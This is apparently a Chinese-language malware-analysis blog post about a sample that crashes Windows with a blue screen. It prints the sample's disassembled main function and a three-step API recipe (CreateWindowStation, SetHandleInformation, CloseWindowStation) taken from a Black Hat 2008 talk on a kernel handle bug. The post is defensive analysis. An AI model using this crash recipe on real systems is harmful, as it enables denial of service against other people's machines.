昨天收到一個會造成windows系統藍屏(BSOD)的病毒
感覺挺有趣的,利用了windows內核對于handle操作的一個bug
文件信息:
文件名:Exploit.exe
大小:49152字節
MD5:640f5b263c9697ee402285e16d91c963
程序執行起來系統立即藍屏,提示的錯誤是 INVALID_KERNEL_HANDLE
<IMG src="//static13.photo.sina.com.cn/bmiddle/59acc8e245a5be121da8c">
扔到PEID里發現這個程序是Microsoft Visual Studio .NET 2005 -- 2008 -> Microsoft Corporation *
沒有加殼,省了一步,很開心,少了許多潛在的麻煩。
扔到IDA里,自動識別到main函數。
push esi
push 0 ; lpsa
push 37Fh ; dwDesiredAccess
push 0 ; dwReserved
push 0 ; lpwinsta
call ds:CreateWindowStationW
push 2 ; dwFlags
mov esi, eax
push 2 ; dwMask
push esi ; hObject
call ds:SetHandleInformation
push esi ; hWinSta
call ds:CloseWindowStation
xor eax, eax
pop esi
retn
main函數很簡單,里面就只調用了三個API
CreateWindowStationW
SetHandleInformation
CloseWindowStation
這幾個API在以前的分析中很少見到。
把樣本扔到OD里,在401000下斷點,F9直接過去,F7單步,發現執行完call ds:CloseWindowStation就導致藍屏。
對于這(zhe)個結果十分不(bu)解。但是(shi)(shi)幾(ji)次試下(xia)來每(mei)次都(dou)是(shi)(shi)這(zhe)樣的結果,可以確定作者是(shi)(shi)故意構造成這(zhe)樣使系統(tong)發生藍(lan)屏的。
于是到網上找了一下資料,發(fa)現這個是Alex Ionescu大(da)(da)牛在(zai)今年 2008 black hat大(da)(da)會上發(fa)布(bu)的(de)一個windows的(de)bug,這個bug不僅(jin)影響Windows XP,并且在(zai)Vista SP1/Windows Server 2008中也依(yi)然存在(zai)。
Alex Ionescu大(da)牛在PPT中是這樣做說(shuo)明的(de):
Find a handle that we can control, and wait for the kernel to close it.
Or better yet, have some sort of function that can coerce the kernel to close the handle immediately.
But all handle closing is done with CloseHandle. False! Window Stations and Desktops are actually managed by the Object Manager, even if they are Win32k objects.
Cannot normally use CloseHandle on a window station or desktop handle.
Win32k blocks CloseHandle calls with the OkayToClose mechanism
Provides CloseWindowStation and CloseDesktop APIs (NtUserCloseWindowStation/Desktop)
NtUserCloseWindowStation is a simple wrapper around...
ZwClose!
So all we have to do is:
1. Create a window station with CreateWindowStation
2. Protect the handle with SetHandleInformation
3. Close it with CloseWindowStation
Bug was caught in Vista SP1 / Server 2008 timeframe. Probably due to SDL -- obvious bug
詳(xiang)細(xi)內(nei)容可以(yi)參考Alex Ionescu's Blog中的文(wen)章<FONT color=#5e4830>Black Hat 2008 Wrap-up</FONT>、這里有(you)PPT的PDF版本(ben)下(xia)載:
<FONT color=#5e4830>//www.alex-ionescu.com/BH08-AlexIonescu.pdf</FONT>
這樣看(kan)下(xia)來,這個(ge)程序(xu)應該是構造用來展示Windows內核的(de)一個(ge)bug的(de)演(yan)示程序(xu),不過介于(yu)其造成(cheng)的(de)結果(guo)是導致Windows系統Crash藍(lan)屏(ping),可能會被(bei)利用對計算機進(jin)行破壞,所以最終還是加進(jin)病毒(du)碼進(jin)行查殺。
以上是一(yi)些小感想,拋磚引玉,希望引來大牛進一(yi)步解(jie)釋一(yi)下。